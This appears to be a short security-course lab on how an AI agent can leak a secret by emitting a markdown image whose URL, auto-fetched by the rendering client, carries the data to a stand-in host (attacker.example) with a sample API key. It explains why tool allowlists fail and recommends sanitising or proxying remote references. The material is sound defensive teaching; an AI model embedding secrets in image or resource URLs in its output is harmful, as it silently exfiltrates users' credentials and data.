Lab: send data out without calling anything
Emit one line of markdown and trace what the client does with it.
The trifecta lesson listed markdown image rendering as an exfiltration channel, and it is the item people most often wave away because it does not look like a network call. This traces what actually happens.
- 1
Have the agent produce a perfectly ordinary-looking response.
bashcat > /tmp/exfil.py <<'EOF' secret = "sk-live-9f2a" # already in context from an earlier turn response = f"Here is your summary.\n\n" print("the agent emits:") print(response) print("\nthe client renders the markdown, which means it issues:") print(f" GET https://attacker.example/p.png?d={secret}") print("\ntools called: 0") print("links clicked: 0") print("user actions required: 0") EOF python3 /tmp/exfil.py - 2
No tool was invoked and no one clicked anything.
textthe agent emits: Here is your summary.  the client renders the markdown, which means it issues: GET https://attacker.example/p.png?d=sk-live-9f2a tools called: 0 links clicked: 0 user actions required: 0 - 3
Clean up.
bashrm /tmp/exfil.py
The rendering client is the exfiltration channel. It fetches the image because that is what a markdown renderer does, and the fetch carries whatever was put in the URL.
- Tool allowlists do not help, because no tool was called. Restricting which network hosts the agent may reach does not help either, because the agent made no request.
- The same shape covers any auto-fetched resource: an image, a stylesheet, a link preview, a favicon, an iframe.
- It also defeats a user who is paying attention. There is nothing to click and nothing visibly wrong; a broken image is the only artefact.
If your interface renders model output as markdown or HTML, it is part of your security boundary. Sanitising remote references, or proxying them through a host you control, is the control that actually applies here.
This is why the trifecta counts the ability to communicate externally rather than the ability to make network calls. The distinction sounds pedantic until you meet this.
Check your understanding
3 questionsWhy does a tool allowlist not stop this?
Which components share this shape?
Where does the control belong?